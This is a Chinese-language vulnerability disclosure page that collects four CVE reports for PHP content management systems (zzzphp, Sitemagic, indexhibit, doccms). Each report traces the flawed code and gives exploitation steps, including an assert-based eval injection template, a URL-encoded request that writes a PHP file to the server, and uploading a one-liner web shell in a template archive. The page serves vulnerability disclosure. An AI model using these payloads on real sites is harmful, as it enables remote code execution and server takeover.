CVE中文申请站

CVE-2019-9041:zzzphp V1.6.1 动态代码执行

一、漏洞摘要

漏洞名称: zzzphp V1.6.1 动态代码执行(dynamic code evaluation/ code injection)
上报日期: 2019-02-22
漏洞发现者: Yang Chenglong
产品首页: http://www.zzzcms.com/index.html
软件链接: http://115.29.55.18/zzzphp.zip
版本: 1.6.1
CVE编号: CVE-2019-9041


二、漏洞概述

Zzzphp cms的代码中,搜索页面对搜索模版的解析过滤不严,导致在后台更改的代码中可以带入php代码造成代码执行。
在/search/index.php中
第二行

require dirname(dirname(__FILE__)). '/inc/zzz_client.php';

跟踪到/inc/zzz_client.php中
第136行至140行

elseif($conf['runmode']==0|| $conf['runmode']==2 || $location=='search' ||$location=='form' ||$location=='screen' || $location=='app'){
        $zcontent = load_file($tplfile,$location);    
        $parser = new ParserTemplate();
        $zcontent = $parser->parserCommom($zcontent); // 解析模板
        echo $zcontent; 

继续跟踪到/inc/zzz_template.php中对ParserTemplate()的定义
第23行:

        $zcontent = $this->parserIfLabel( $zcontent ); // IF语句

接着跟踪到/inc/zzz_template.php中对parserIfLabel()的定义
第2192到2213行:

        $pattern = '/\{if:([\s\S]+?)}([\s\S]*?){end\s+if}/';
        if ( preg_match_all( $pattern, $zcontent, $matches ) ) {
                       $count = count( $matches[ 0 ] );
               for ( $i = 0; $i < $count; $i++ ) {
                       $flag = '';
                       $out_html = '';
                       $ifstr = $matches[ 1 ][ $i ];
                       $ifstr = str_replace( '<>', '!=', $ifstr );
                       $ifstr = str_replace( 'mod', '%', $ifstr );
                       $ifstr1 = cleft( $ifstr, 0, 1 );
                       switch ( $ifstr1 ) {
                               case '=':
                                       $ifstr = '0' . $ifstr;
                                       break;
                               case '{':
                               case '[':
                                       $ifstr = "'" . str_replace( "=", "'=", $ifstr );
                                       break;
                       }
                       $ifstr = str_replace( '=', '==', $ifstr );
                       $ifstr = str_replace( '===', '==', $ifstr );
                       @eval( 'if(' . $ifstr . '){$flag="if";}else{$flag="else";}' );
 

$ifstr经过一系列过滤最后进入eval函数,造成了代码执行。

三、利用方法

后台的模版管理 -> 电脑模版 -> cn2016(6) -> html -> search.html 编辑
在模版中添加{if:assert($_POST[x])}phpinfo();{end if} 保存
访问 http://webroot/search/
post数据: x = phpinfo(); 即可执行代码。
1.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/118/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9041
exploit-db:发布中

CVE-2019-9042:Sitemagic CMS v4.4后台未过滤直接上传php导致getshell

一、漏洞摘要

漏洞名称: Sitemagic CMS v4.4后台未过滤直接上传php导致getshell
上报日期: 2019-02-22
漏洞发现者: yc(3365487579@qq.com)
产品首页: https://sitemagic.org/
软件链接: https://sitemagic.org/Download.html(https://github.com/Jemt/SitemagicCMS)
版本: v4.4
CVE编号: CVE-2019-9042


二、漏洞概述

Sitemagic CMS v4.4后台未过滤直接上传php导致getshell。

三、利用方法

poc:
当我们登录进后台后,来到图片管理/index.php?SMExt=SMFiles
1.png
发现能直接上传成功php文件
2.png


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/116/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-9042
exploit-db:发布中

CVE-2019-8954:indexhibit cms v2.1.5 直接编辑php文件getshell

一、漏洞摘要

漏洞名称: indexhibit cms v2.1.5 直接编辑php文件getshell
上报日期: 2019-02-20
漏洞发现者: yc(3365487579@qq.com)
产品首页: https://www.indexhibit.org/
软件链接: https://www.indexhibit.org/
版本: v2.1.5
CVE编号: CVE-2019-8954


二、漏洞概述

indexhibit CMS 2.1.5版本存在一个直接编辑php文件的漏洞,导致getshell。

三、利用方法

poc:
当我们登录进后台后,向/ndxzstudio/?a=system
post数据:
upd_jxcode=true&v=%253C%253Fphp%2520phpinfo()%253B%253F%253E&id=%2Fcss%2Faudio.php
即可在/css/目录写入一个php文件audio.php。
1.png

2.png


四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/112/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2019-8954
exploit-db:发布中

CVE-2018-18835:doccms 2016.5.12 后台模板getshell

一、漏洞摘要

漏洞名称: doccms后台模板getshell
上报日期: 2018-10-27
漏洞发现者: kr1sten
产品首页: http://www.doccms.com/
软件链接: http://www.doccms.com/?p=40
版本: 2016.5.12[正式版]
CVE编号: CVE-2018-18835


二、漏洞概述

后台模板上传位置 未检查上传内部的代码 导致getshell。

三、利用方法

登录后台发现后台具有上传功能,且限定了格式。
1.png

首先找到自带的模板的位置,然后复制一份改个名字,打包成压缩文件再上传的时候进行抓包 看其调用的方法,可以看到 burp抓取到的数据包已经显示出来了,从其中可以看到他调用了system文件夹下的changeskin.php这个文件的upload_template函数,于是我们定位到这个函数 看看他的代码是怎么样的逻辑。
4.png
5.png
从第八行开始到第三十一行之间 就是处理上传模板这个功能的代码逻辑,分析一下:
6.png

15-16行就是定义一个临时的保存路径:
7.png

17-29行,第一个if判断是不是一个zip文件,如果是文件就进入真区间进行下一步的判断,然后进行解压 如果解压成功就安装成功否则失败,如果不是zip文件就提示上传失败 最后重定向回模板管理的页面。代码中有一点没考虑到,只是判断是不是zip文件,并没有判断文件里面是不是有某些威胁的存在。于是可以在模板文件里面构造攻击代码,比如写一个一句话木马或者直接在模板文件的某php文件里面写入一句话木马代码。比如在原先的模板文件里面新建一个文件夹 此处叫做test文件夹,在里面新建一个php文件,写入<?php phpinfo();?> 然后在进行打包上传。
8.png
上传成功后,点击一下“应用到pc站” 然后去前台看效果。
10.png

直接访问模板url地址返回403错误码,说明模板目录访问权限控制。
11.png
通过修改原来模板文件里的index.php代码,比如在最前面加上一句phpinfo的代码,再重复上传-应用的步骤,前台效果如下:
12.png

代码成功的被执行了,换成一句话木马代码上传并应用,再用菜刀进行连接,如下:
14.png

四、参考信息

CVE中文申请网:http://www.iwantacve.cn/index.php/archives/65/
CVE官方:http://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2018-18835
exploit-db:发布中